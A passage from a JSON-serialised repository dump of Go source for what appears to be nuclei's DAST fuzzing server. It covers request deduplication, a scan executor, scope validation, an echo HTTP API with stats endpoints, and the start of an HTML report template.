r.hashes[hash]\n\tr.lock.RUnlock()\n\tif ok {\n\t\treturn true\n\t}\n\n\tr.lock.Lock()\n\tr.hashes[hash] = struct{}{}\n\tr.lock.Unlock()\n\treturn false\n}\n\nfunc hashRequest(req *types.RequestResponse) (string, error) {\n\tnormalizedURL, err := normalizeURL(req.URL.URL)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar hashContent strings.Builder\n\thashContent.WriteString(req.Request.Method)\n\thashContent.WriteString(normalizedURL)\n\n\theaders := sortedNonDynamicHeaders(req.Request.Headers)\n\tfor _, header := range headers {\n\t\thashContent.WriteString(header.Key)\n\t\thashContent.WriteString(header.Value)\n\t}\n\n\tif len(req.Request.Body) > 0 {\n\t\thashContent.Write([]byte(req.Request.Body))\n\t}\n\n\t// Calculate the SHA256 hash\n\thash := sha256.Sum256([]byte(hashContent.String()))\n\treturn hex.EncodeToString(hash[:]), nil\n}\n\nfunc normalizeURL(u *url.URL) (string, error) {\n\tquery := u.Query()\n\tsortedQuery := make(url.Values)\n\tfor k, v := range query {\n\t\tsort.Strings(v)\n\t\tsortedQuery[k] = v\n\t}\n\tu.RawQuery = sortedQuery.Encode()\n\n\tif u.Path == \"\" {\n\t\tu.Path = \"/\"\n\t}\n\treturn u.String(), nil\n}\n\ntype header struct {\n\tKey   string\n\tValue string\n}\n\nfunc sortedNonDynamicHeaders(headers mapsutil.OrderedMap[string, string]) []header {\n\tvar result []header\n\theaders.Iterate(func(k, v string) bool {\n\t\tif !dynamicHeaders[strings.ToLower(k)] {\n\t\t\tresult = append(result, header{Key: k, Value: v})\n\t\t}\n\t\treturn true\n\t})\n\tsort.Slice(result, func(i, j int) bool {\n\t\treturn result[i].Key < result[j].Key\n\t})\n\treturn result\n}\n"
  },
  {
    "path": "internal/server/nuclei_sdk.go",
    "content": "package server\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t_ \"net/http/pprof\"\n\t\"strings\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/projectfile\"\n\t\"gopkg.in/yaml.v3\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/parser\"\n\tparsers \"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers\"\n\tbrowserEngine \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\ntype nucleiExecutor struct {\n\tengine       *core.Engine\n\tstore        *loader.Store\n\toptions      *NucleiExecutorOptions\n\texecutorOpts *protocols.ExecutorOptions\n}\n\ntype NucleiExecutorOptions struct {\n\tOptions            *types.Options\n\tOutput             output.Writer\n\tProgress           progress.Progress\n\tCatalog            catalog.Catalog\n\tIssuesClient       reporting.Client\n\tRateLimiter        *ratelimit.Limiter\n\tInteractsh         *interactsh.Client\n\tProjectFile        *projectfile.ProjectFile\n\tBrowser            *browserEngine.Browser\n\tFuzzStatsDB        *stats.Tracker\n\tColorizer          aurora.Aurora\n\tParser             parser.Parser\n\tTemporaryDirectory string\n\tLogger             *gologger.Logger\n}\n\nfunc newNucleiExecutor(opts *NucleiExecutorOptions) (*nucleiExecutor, error) {\n\tfuzzFreqCache := frequency.New(frequency.DefaultMaxTrackCount, opts.Options.FuzzParamFrequency)\n\tresumeCfg := types.NewResumeCfg()\n\n\t// Create the executor options which will be used throughout the execution\n\t// stage by the nuclei engine modules.\n\texecutorOpts := &protocols.ExecutorOptions{\n\t\tOutput:              opts.Output,\n\t\tOptions:             opts.Options,\n\t\tProgress:            opts.Progress,\n\t\tCatalog:             opts.Catalog,\n\t\tIssuesClient:        opts.IssuesClient,\n\t\tRateLimiter:         opts.RateLimiter,\n\t\tInteractsh:          opts.Interactsh,\n\t\tProjectFile:         opts.ProjectFile,\n\t\tBrowser:             opts.Browser,\n\t\tColorizer:           opts.Colorizer,\n\t\tResumeCfg:           resumeCfg,\n\t\tExcludeMatchers:     excludematchers.New(opts.Options.ExcludeMatchers),\n\t\tInputHelper:         input.NewHelper(),\n\t\tTemporaryDirectory:  opts.TemporaryDirectory,\n\t\tParser:              opts.Parser,\n\t\tFuzzParamsFrequency: fuzzFreqCache,\n\t\tGlobalMatchers:      globalmatchers.New(),\n\t\tFuzzStatsDB:         opts.FuzzStatsDB,\n\t\tLogger:              opts.Logger,\n\t}\n\n\tif opts.Options.ShouldUseHostError() {\n\t\tmaxHostError := opts.Options.MaxHostError\n\t\tif maxHostError == 30 {\n\t\t\tmaxHostError = 100 // auto adjust for fuzzings\n\t\t}\n\t\tif opts.Options.TemplateThreads > maxHostError {\n\t\t\topts.Logger.Info().Msgf(\"Adjusting max-host-error to the concurrency value: %d\", opts.Options.TemplateThreads)\n\n\t\t\tmaxHostError = opts.Options.TemplateThreads\n\t\t}\n\n\t\tcache := hosterrorscache.New(maxHostError, hosterrorscache.DefaultMaxHostsCount, opts.Options.TrackError)\n\t\tcache.SetVerbose(opts.Options.Verbose)\n\n\t\texecutorOpts.HostErrorsCache = cache\n\t}\n\n\texecutorEngine := core.New(opts.Options)\n\texecutorEngine.SetExecuterOptions(executorOpts)\n\n\tworkflowLoader, err := parsers.NewLoader(executorOpts)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Could not create loader options.\")\n\t}\n\texecutorOpts.WorkflowLoader = workflowLoader\n\n\t// If using input-file flags, only load http fuzzing based templates.\n\tloaderConfig := loader.NewConfig(opts.Options, opts.Catalog, executorOpts)\n\tif !strings.EqualFold(opts.Options.InputFileMode, \"list\") || opts.Options.DAST || opts.Options.DASTServer {\n\t\t// if input type is not list (implicitly enable fuzzing)\n\t\topts.Options.DAST = true\n\t}\n\tstore, err := loader.New(loaderConfig)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Could not create loader options.\")\n\t}\n\tif err := store.Load(); err != nil {\n\t\treturn nil, errors.Wrap(err, \"Could not load templates.\")\n\t}\n\n\treturn &nucleiExecutor{\n\t\tengine:       executorEngine,\n\t\tstore:        store,\n\t\toptions:      opts,\n\t\texecutorOpts: executorOpts,\n\t}, nil\n}\n\n// proxifyRequest is a request for proxify\ntype proxifyRequest struct {\n\tURL     string `json:\"url\"`\n\tRequest struct {\n\t\tHeader map[string]string `json:\"header\"`\n\t\tBody   string            `json:\"body\"`\n\t\tRaw    string            `json:\"raw\"`\n\t} `json:\"request\"`\n}\n\nfunc (n *nucleiExecutor) ExecuteScan(target PostRequestsHandlerRequest) error {\n\tfinalTemplates := []*templates.Template{}\n\tfinalTemplates = append(finalTemplates, n.store.Templates()...)\n\tfinalTemplates = append(finalTemplates, n.store.Workflows()...)\n\n\tif len(finalTemplates) == 0 {\n\t\treturn errors.New(\"no templates provided for scan\")\n\t}\n\n\tpayload := proxifyRequest{\n\t\tURL: target.URL,\n\t\tRequest: struct {\n\t\t\tHeader map[string]string `json:\"header\"`\n\t\t\tBody   string            `json:\"body\"`\n\t\t\tRaw    string            `json:\"raw\"`\n\t\t}{\n\t\t\tRaw: target.RawHTTP,\n\t\t},\n\t}\n\n\tmarshalledYaml, err := yaml.Marshal(payload)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error marshalling yaml: %s\", err)\n\t}\n\n\tinputProvider, err := http.NewHttpInputProvider(&http.HttpMultiFormatOptions{\n\t\tInputContents: string(marshalledYaml),\n\t\tInputMode:     \"yaml\",\n\t\tOptions: formats.InputFormatOptions{\n\t\t\tVariables: make(map[string]interface{}),\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create input provider\")\n\t}\n\n\t// We don't care about the result as its a boolean\n\t// stating whether we got matches or not\n\t_ = n.engine.ExecuteScanWithOpts(context.Background(), finalTemplates, inputProvider, true)\n\treturn nil\n}\n\nfunc (n *nucleiExecutor) Close() {\n\tif n.executorOpts.FuzzStatsDB != nil {\n\t\tn.executorOpts.FuzzStatsDB.Close()\n\t}\n\tif n.options.Interactsh != nil {\n\t\t_ = n.options.Interactsh.Close()\n\t}\n\tif n.executorOpts.InputHelper != nil {\n\t\t_ = n.executorOpts.InputHelper.Close()\n\t}\n\n}\n"
  },
  {
    "path": "internal/server/requests_worker.go",
    "content": "package server\n\nimport (\n\t\"path\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/server/scope\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n)\n\nfunc (s *DASTServer) consumeTaskRequest(req PostRequestsHandlerRequest) {\n\tdefer s.endpointsInQueue.Add(-1)\n\n\tparsedReq, err := types.ParseRawRequestWithURL(req.RawHTTP, req.URL)\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"Could not parse raw request: %s\\n\", err)\n\t\treturn\n\t}\n\n\tif parsedReq.URL.Scheme != \"http\" && parsedReq.URL.Scheme != \"https\" {\n\t\tgologger.Warning().Msgf(\"Invalid scheme: %s\\n\", parsedReq.URL.Scheme)\n\t\treturn\n\t}\n\n\t// Check filenames and don't allow non-interesting files\n\textension := path.Base(parsedReq.URL.Path)\n\tif extension != \"/\" && extension != \"\" && scope.IsUninterestingPath(extension) {\n\t\tgologger.Warning().Msgf(\"Uninteresting path: %s\\n\", parsedReq.URL.Path)\n\t\treturn\n\t}\n\n\tinScope, err := s.scopeManager.Validate(parsedReq.URL.URL)\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"Could not validate scope: %s\\n\", err)\n\t\treturn\n\t}\n\tif !inScope {\n\t\tgologger.Warning().Msgf(\"Request is out of scope: %s %s\\n\", parsedReq.Request.Method, parsedReq.URL.String())\n\t\treturn\n\t}\n\n\tif s.deduplicator.isDuplicate(parsedReq) {\n\t\tgologger.Warning().Msgf(\"Duplicate request detected: %s %s\\n\", parsedReq.Request.Method, parsedReq.URL.String())\n\t\treturn\n\t}\n\n\tgologger.Verbose().Msgf(\"Fuzzing request: %s %s\\n\", parsedReq.Request.Method, parsedReq.URL.String())\n\n\ts.endpointsBeingTested.Add(1)\n\tdefer s.endpointsBeingTested.Add(-1)\n\n\t// Fuzz the request finally\n\terr = s.nucleiExecutor.ExecuteScan(req)\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"Could not run nuclei: %s\\n\", err)\n\t\treturn\n\t}\n}\n"
  },
  {
    "path": "internal/server/scope/extensions.go",
    "content": "package scope\n\nimport \"path\"\n\nfunc IsUninterestingPath(uriPath string) bool {\n\textension := path.Ext(uriPath)\n\tif _, ok := excludedExtensions[extension]; ok {\n\t\treturn true\n\t}\n\treturn false\n}\n\nvar excludedExtensions = map[string]struct{}{\n\t\".jpg\": {}, \".jpeg\": {}, \".png\": {}, \".gif\": {}, \".bmp\": {}, \".tiff\": {}, \".ico\": {},\n\t\".mp4\": {}, \".avi\": {}, \".mov\": {}, \".wmv\": {}, \".flv\": {}, \".mkv\": {}, \".webm\": {},\n\t\".mp3\": {}, \".wav\": {}, \".aac\": {}, \".flac\": {}, \".ogg\": {}, \".wma\": {},\n\t\".zip\": {}, \".rar\": {}, \".7z\": {}, \".tar\": {}, \".gz\": {}, \".bz2\": {},\n\t\".exe\": {}, \".bin\": {}, \".iso\": {}, \".img\": {},\n\t\".doc\": {}, \".docx\": {}, \".xls\": {}, \".xlsx\": {}, \".ppt\": {}, \".pptx\": {},\n\t\".pdf\": {}, \".psd\": {}, \".ai\": {}, \".eps\": {}, \".indd\": {},\n\t\".swf\": {}, \".fla\": {}, \".css\": {}, \".scss\": {}, \".less\": {},\n\t\".js\": {}, \".ts\": {}, \".jsx\": {}, \".tsx\": {},\n\t\".xml\": {}, \".json\": {}, \".yaml\": {}, \".yml\": {},\n\t\".csv\": {}, \".txt\": {}, \".log\": {}, \".md\": {},\n\t\".ttf\": {}, \".otf\": {}, \".woff\": {}, \".woff2\": {}, \".eot\": {},\n\t\".svg\": {}, \".svgz\": {}, \".webp\": {}, \".tif\": {},\n\t\".mpg\": {}, \".mpeg\": {}, \".weba\": {},\n\t\".m4a\": {}, \".m4v\": {}, \".3gp\": {}, \".3g2\": {},\n\t\".ogv\": {}, \".ogm\": {}, \".oga\": {}, \".ogx\": {},\n\t\".srt\": {}, \".min.js\": {}, \".min.css\": {}, \".js.map\": {},\n\t\".min.js.map\": {}, \".chunk.css.map\": {}, \".hub.js.map\": {},\n\t\".hub.css.map\": {}, \".map\": {},\n}\n"
  },
  {
    "path": "internal/server/scope/scope.go",
    "content": "// From Katana\npackage scope\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"regexp\"\n)\n\n// Manager manages scope for crawling process\ntype Manager struct {\n\tinScope    []*regexp.Regexp\n\toutOfScope []*regexp.Regexp\n\tnoScope    bool\n}\n\n// NewManager returns a new scope manager for crawling\nfunc NewManager(inScope, outOfScope []string) (*Manager, error) {\n\tmanager := &Manager{}\n\n\tfor _, regex := range inScope {\n\t\tif compiled, err := regexp.Compile(regex); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not compile regex %s: %s\", regex, err)\n\t\t} else {\n\t\t\tmanager.inScope = append(manager.inScope, compiled)\n\t\t}\n\t}\n\tfor _, regex := range outOfScope {\n\t\tif compiled, err := regexp.Compile(regex); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not compile regex %s: %s\", regex, err)\n\t\t} else {\n\t\t\tmanager.outOfScope = append(manager.outOfScope, compiled)\n\t\t}\n\t}\n\tif len(manager.inScope) == 0 && len(manager.outOfScope) == 0 {\n\t\tmanager.noScope = true\n\t}\n\treturn manager, nil\n}\n\n// Validate returns true if the URL matches scope rules\nfunc (m *Manager) Validate(URL *url.URL) (bool, error) {\n\tif m.noScope {\n\t\treturn true, nil\n\t}\n\n\turlStr := URL.String()\n\n\turlValidated, err := m.validateURL(urlStr)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif urlValidated {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}\n\nfunc (m *Manager) validateURL(URL string) (bool, error) {\n\tfor _, item := range m.outOfScope {\n\t\tif item.MatchString(URL) {\n\t\t\treturn false, nil\n\t\t}\n\t}\n\tif len(m.inScope) == 0 {\n\t\treturn true, nil\n\t}\n\n\tvar inScopeMatched bool\n\tfor _, item := range m.inScope {\n\t\tif item.MatchString(URL) {\n\t\t\tinScopeMatched = true\n\t\t\tbreak\n\t\t}\n\t}\n\treturn inScopeMatched, nil\n}\n"
  },
  {
    "path": "internal/server/scope/scope_test.go",
    "content": "package scope\n\nimport (\n\t\"testing\"\n\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestManagerValidate(t *testing.T) {\n\tt.Run(\"url\", func(t *testing.T) {\n\t\tmanager, err := NewManager([]string{`example`}, []string{`logout\\.php`})\n\t\trequire.NoError(t, err, \"could not create scope manager\")\n\n\t\tparsed, _ := urlutil.Parse(\"https://test.com/index.php/example\")\n\t\tvalidated, err := manager.Validate(parsed.URL)\n\t\trequire.NoError(t, err, \"could not validate url\")\n\t\trequire.True(t, validated, \"could not get correct in-scope validation\")\n\n\t\tparsed, _ = urlutil.Parse(\"https://test.com/logout.php\")\n\t\tvalidated, err = manager.Validate(parsed.URL)\n\t\trequire.NoError(t, err, \"could not validate url\")\n\t\trequire.False(t, validated, \"could not get correct out-scope validation\")\n\t})\n\n}\n"
  },
  {
    "path": "internal/server/server.go",
    "content": "package server\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/alitto/pond\"\n\t\"github.com/labstack/echo/v4\"\n\t\"github.com/labstack/echo/v4/middleware\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/server/scope\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/utils/env\"\n)\n\n// DASTServer is a server that performs execution of fuzzing templates\n// on user input passed to the API.\ntype DASTServer struct {\n\techo         *echo.Echo\n\toptions      *Options\n\ttasksPool    *pond.WorkerPool\n\tdeduplicator *requestDeduplicator\n\tscopeManager *scope.Manager\n\tstartTime    time.Time\n\n\t// metrics\n\tendpointsInQueue     atomic.Int64\n\tendpointsBeingTested atomic.Int64\n\n\tnucleiExecutor *nucleiExecutor\n}\n\n// Options contains the configuration options for the server.\ntype Options struct {\n\t// Address is the address to bind the server to\n\tAddress string\n\t// Token is the token to use for authentication (optional)\n\tToken string\n\t// Templates is the list of templates to use for fuzzing\n\tTemplates []string\n\t// Verbose is a flag that controls verbose output\n\tVerbose bool\n\n\t// Scope fields for fuzzer\n\tInScope  []string\n\tOutScope []string\n\n\tOutputWriter output.Writer\n\n\tNucleiExecutorOptions *NucleiExecutorOptions\n}\n\n// New creates a new instance of the DAST server.\nfunc New(options *Options) (*DASTServer, error) {\n\t// If the user has specified no templates, use the default ones\n\t// for DAST only.\n\tif len(options.Templates) == 0 {\n\t\toptions.Templates = []string{\"dast/\"}\n\t}\n\t// Disable bulk mode and single threaded execution\n\t// by auto adjusting in case of default values\n\tif options.NucleiExecutorOptions.Options.BulkSize == 25 && options.NucleiExecutorOptions.Options.TemplateThreads == 25 {\n\t\toptions.NucleiExecutorOptions.Options.BulkSize = 1\n\t\toptions.NucleiExecutorOptions.Options.TemplateThreads = 1\n\t}\n\tmaxWorkers := env.GetEnvOrDefault[int](\"FUZZ_MAX_WORKERS\", 1)\n\tbufferSize := env.GetEnvOrDefault[int](\"FUZZ_BUFFER_SIZE\", 10000)\n\n\tserver := &DASTServer{\n\t\toptions:      options,\n\t\ttasksPool:    pond.New(maxWorkers, bufferSize),\n\t\tdeduplicator: newRequestDeduplicator(),\n\t\tstartTime:    time.Now(),\n\t}\n\tserver.setupHandlers(false)\n\n\texecutor, err := newNucleiExecutor(options.NucleiExecutorOptions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tserver.nucleiExecutor = executor\n\n\tscopeManager, err := scope.NewManager(\n\t\toptions.InScope,\n\t\toptions.OutScope,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tserver.scopeManager = scopeManager\n\n\tvar builder strings.Builder\n\tgologger.Debug().Msgf(\"Using %d parallel tasks with %d buffer\", maxWorkers, bufferSize)\n\tif options.Token != \"\" {\n\t\tbuilder.WriteString(\" (with token)\")\n\t}\n\tgologger.Info().Msgf(\"DAST Server API: %s\", server.buildURL(\"/fuzz\"))\n\tgologger.Info().Msgf(\"DAST Server Stats URL: %s\", server.buildURL(\"/stats\"))\n\n\treturn server, nil\n}\n\nfunc NewStatsServer(fuzzStatsDB *stats.Tracker) (*DASTServer, error) {\n\tserver := &DASTServer{\n\t\tnucleiExecutor: &nucleiExecutor{\n\t\t\texecutorOpts: &protocols.ExecutorOptions{\n\t\t\t\tFuzzStatsDB: fuzzStatsDB,\n\t\t\t},\n\t\t},\n\t}\n\tserver.setupHandlers(true)\n\tgologger.Info().Msgf(\"Stats UI URL: %s\", server.buildURL(\"/stats\"))\n\n\treturn server, nil\n}\n\nfunc (s *DASTServer) Close() {\n\ts.nucleiExecutor.Close()\n\t_ = s.echo.Close()\n\ts.tasksPool.StopAndWaitFor(1 * time.Minute)\n}\n\nfunc (s *DASTServer) buildURL(endpoint string) string {\n\tvalues := make(url.Values)\n\tif s.options.Token != \"\" {\n\t\tvalues.Set(\"token\", s.options.Token)\n\t}\n\n\t// Use url.URL struct to safely construct the URL\n\tu := &url.URL{\n\t\tScheme:   \"http\",\n\t\tHost:     s.options.Address,\n\t\tPath:     endpoint,\n\t\tRawQuery: values.Encode(),\n\t}\n\treturn u.String()\n}\n\nfunc (s *DASTServer) setupHandlers(onlyStats bool) {\n\te := echo.New()\n\te.Use(middleware.Recover())\n\tif s.options.Verbose {\n\t\tcfg := middleware.DefaultLoggerConfig\n\t\tcfg.Skipper = func(c echo.Context) bool {\n\t\t\t// Skip /stats and /stats.json\n\t\t\treturn c.Request().URL.Path == \"/stats\" || c.Request().URL.Path == \"/stats.json\"\n\t\t}\n\t\te.Use(middleware.LoggerWithConfig(cfg))\n\t}\n\te.Use(middleware.CORS())\n\n\tif s.options.Token != \"\" {\n\t\te.Use(middleware.KeyAuthWithConfig(middleware.KeyAuthConfig{\n\t\t\tKeyLookup: \"query:token\",\n\t\t\tValidator: func(key string, c echo.Context) (bool, error) {\n\t\t\t\treturn key == s.options.Token, nil\n\t\t\t},\n\t\t}))\n\t}\n\n\te.HideBanner = true\n\t// POST /fuzz - Queue a request for fuzzing\n\tif !onlyStats {\n\t\te.POST(\"/fuzz\", s.handleRequest)\n\t}\n\te.GET(\"/stats\", s.handleStats)\n\te.GET(\"/stats.json\", s.handleStatsJSON)\n\n\ts.echo = e\n}\n\nfunc (s *DASTServer) Start() error {\n\tif err := s.echo.Start(s.options.Address); err != nil && err != http.ErrServerClosed {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// PostRequestsHandlerRequest is the request body for the /fuzz POST handler.\ntype PostRequestsHandlerRequest struct {\n\tRawHTTP string `json:\"raw_http\"`\n\tURL     string `json:\"url\"`\n}\n\nfunc (s *DASTServer) handleRequest(c echo.Context) error {\n\tvar req PostRequestsHandlerRequest\n\tif err := c.Bind(&req); err != nil {\n\t\tfmt.Printf(\"Error binding request: %s\\n\", err)\n\t\treturn err\n\t}\n\n\t// Validate the request\n\tif req.RawHTTP == \"\" || req.URL == \"\" {\n\t\tfmt.Printf(\"Missing required fields\\n\")\n\t\treturn c.JSON(400, map[string]string{\"error\": \"missing required fields\"})\n\t}\n\n\ts.endpointsInQueue.Add(1)\n\ts.tasksPool.Submit(func() {\n\t\ts.consumeTaskRequest(req)\n\t})\n\treturn c.NoContent(200)\n}\n\ntype StatsResponse struct {\n\tDASTServerInfo            DASTServerInfo     `json:\"dast_server_info\"`\n\tDASTScanStatistics        DASTScanStatistics `json:\"dast_scan_statistics\"`\n\tDASTScanStatusStatistics  map[string]int64   `json:\"dast_scan_status_statistics\"`\n\tDASTScanSeverityBreakdown map[string]int64   `json:\"dast_scan_severity_breakdown\"`\n\tDASTScanErrorStatistics   map[string]int64   `json:\"dast_scan_error_statistics\"`\n\tDASTScanStartTime         time.Time          `json:\"dast_scan_start_time\"`\n}\n\ntype DASTServerInfo struct {\n\tNucleiVersion         string `json:\"nuclei_version\"`\n\tNucleiTemplateVersion string `json:\"nuclei_template_version\"`\n\tNucleiDastServerAPI   string `json:\"nuclei_dast_server_api\"`\n\tServerAuthEnabled     bool   `json:\"sever_auth_enabled\"`\n}\n\ntype DASTScanStatistics struct {\n\tEndpointsInQueue      int64 `json:\"endpoints_in_queue\"`\n\tEndpointsBeingTested  int64 `json:\"endpoints_being_tested\"`\n\tTotalTemplatesLoaded  int64 `json:\"total_dast_templates_loaded\"`\n\tTotalTemplatesTested  int64 `json:\"total_dast_templates_tested\"`\n\tTotalMatchedResults   int64 `json:\"total_matched_results\"`\n\tTotalComponentsTested int64 `json:\"total_components_tested\"`\n\tTotalEndpointsTested  int64 `json:\"total_endpoints_tested\"`\n\tTotalFuzzedRequests   int64 `json:\"total_fuzzed_requests\"`\n\tTotalErroredRequests  int64 `json:\"total_errored_requests\"`\n}\n\nfunc (s *DASTServer) getStats() (StatsResponse, error) {\n\tcfg := config.DefaultConfig\n\n\tresp := StatsResponse{\n\t\tDASTServerInfo: DASTServerInfo{\n\t\t\tNucleiVersion:         config.Version,\n\t\t\tNucleiTemplateVersion: cfg.TemplateVersion,\n\t\t\tNucleiDastServerAPI:   s.buildURL(\"/fuzz\"),\n\t\t\tServerAuthEnabled:     s.options.Token != \"\",\n\t\t},\n\t\tDASTScanStartTime: s.startTime,\n\t\tDASTScanStatistics: DASTScanStatistics{\n\t\t\tEndpointsInQueue:     s.endpointsInQueue.Load(),\n\t\t\tEndpointsBeingTested: s.endpointsBeingTested.Load(),\n\t\t\tTotalTemplatesLoaded: int64(len(s.nucleiExecutor.store.Templates())),\n\t\t},\n\t}\n\tif s.nucleiExecutor.executorOpts.FuzzStatsDB != nil {\n\t\tfuzzStats := s.nucleiExecutor.executorOpts.FuzzStatsDB.GetStats()\n\t\tresp.DASTScanSeverityBreakdown = fuzzStats.SeverityCounts\n\t\tresp.DASTScanStatusStatistics = fuzzStats.StatusCodes\n\t\tresp.DASTScanStatistics.TotalMatchedResults = fuzzStats.TotalMatchedResults\n\t\tresp.DASTScanStatistics.TotalComponentsTested = fuzzStats.TotalComponentsTested\n\t\tresp.DASTScanStatistics.TotalEndpointsTested = fuzzStats.TotalEndpointsTested\n\t\tresp.DASTScanStatistics.TotalFuzzedRequests = fuzzStats.TotalFuzzedRequests\n\t\tresp.DASTScanStatistics.TotalTemplatesTested = fuzzStats.TotalTemplatesTested\n\t\tresp.DASTScanStatistics.TotalErroredRequests = fuzzStats.TotalErroredRequests\n\t\tresp.DASTScanErrorStatistics = fuzzStats.ErrorGroupedStats\n\t}\n\treturn resp, nil\n}\n\n//go:embed templates/index.html\nvar indexTemplate string\n\nfunc (s *DASTServer) handleStats(c echo.Context) error {\n\tstats, err := s.getStats()\n\tif err != nil {\n\t\treturn c.JSON(500, map[string]string{\"error\": err.Error()})\n\t}\n\n\ttmpl, err := template.New(\"index\").Parse(indexTemplate)\n\tif err != nil {\n\t\treturn c.JSON(500, map[string]string{\"error\": err.Error()})\n\t}\n\treturn tmpl.Execute(c.Response().Writer, stats)\n}\n\nfunc (s *DASTServer) handleStatsJSON(c echo.Context) error {\n\tresp, err := s.getStats()\n\tif err != nil {\n\t\treturn c.JSON(500, map[string]string{\"error\": err.Error()})\n\t}\n\treturn c.JSONPretty(200, resp, \"  \")\n}\n"
  },
  {
    "path": "internal/server/templates/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>DAST Scan Report</title>\n    <link rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.css\" integrity=\"sha512-ywmPbuxGS4cJ7GxwCX+bCJweeext047ZYU2HP52WWKbpJnF4/Zzfr2Bo19J4CWPXZmleVusQ9d//RB5bq0RP7w==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\" />\n    <style>\n        @import url('https://fonts.googleapis.com/css2?family=Geist+Mono:wght@400;500&display=swap');\n\n        :root {\n            --bg-color: #0a0a0a;\n            --text-color: #33ff00;\n            --header-color: #00cc00;\n            --border-color: #1a1a1a;\n            --box-bg: #0f0f0f;\n            --critical: #ff0000;\n            --high: #ff4400;\n            --medium: #ffcc00;\n            --low: #00ff00;\n            --info: #00ccff;\n            --muted: #999999;\n        }\n\n        body {\n            font-family: 'Geist Mono', 'Courier New', monospace;\n            background: var(--bg-color);\n            color: var(--text-color);\n            line-height: 1.5;\n            padding: 20px;\n            max-width: 1200px;\n            margin: 0 auto;\n            position: relative;\n        }\n\n        .report-header {\n            border-bottom: 1px solid var(--text-color);\n            margin-bottom: 20px;\n            padding: 10px 0;\n        }\n\n        .ascii-header {\n            color: var(--header-color);\n            white-space: pre;\n            font-size: 16px;\n            margin-bottom: 15px;\n            line-height: 1.2;\n        }\n\n        .timestamp {\n            color: var(--muted);\n            margin-bottom: 20px;\n        }\n\n        .section {\n            margin: 25px 0;\n            border: 1px solid var(--border-color);\n            padding: 15px;\n            background: var(--box-bg);\n        }\n\n        .section-header {\n            color: var(--header-color);\n            margin-bottom: 15px;\n            padding-bottom: 5px;\n            border-bottom: 1px solid var(--border-color);\n        }\n\n        .terminal-line {\n            font-family: 'Courier New', monospace;\n            margin: 5px 0;\n        }\n\n        .key {\n            color: var(--muted);\n            display: inline-block;\n            width: 200px;\n        }\n\n        .value {\n            color: var(--text-color);\n        }\n\n        .grid {\n            display: grid;\n            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));\n            gap: 15px;\n            margin-top: 15px;\n        }\n\n        .stat-box {\n            background: var(--box-bg);\n            padding: 10px;\n            border-left: 2px solid var(--text-color);\n        }\n\n        .severity-critical { border-left-color: var(--critical); }\n        .severity-high { border-left-color: var(--high); }\n        .severity-medium { 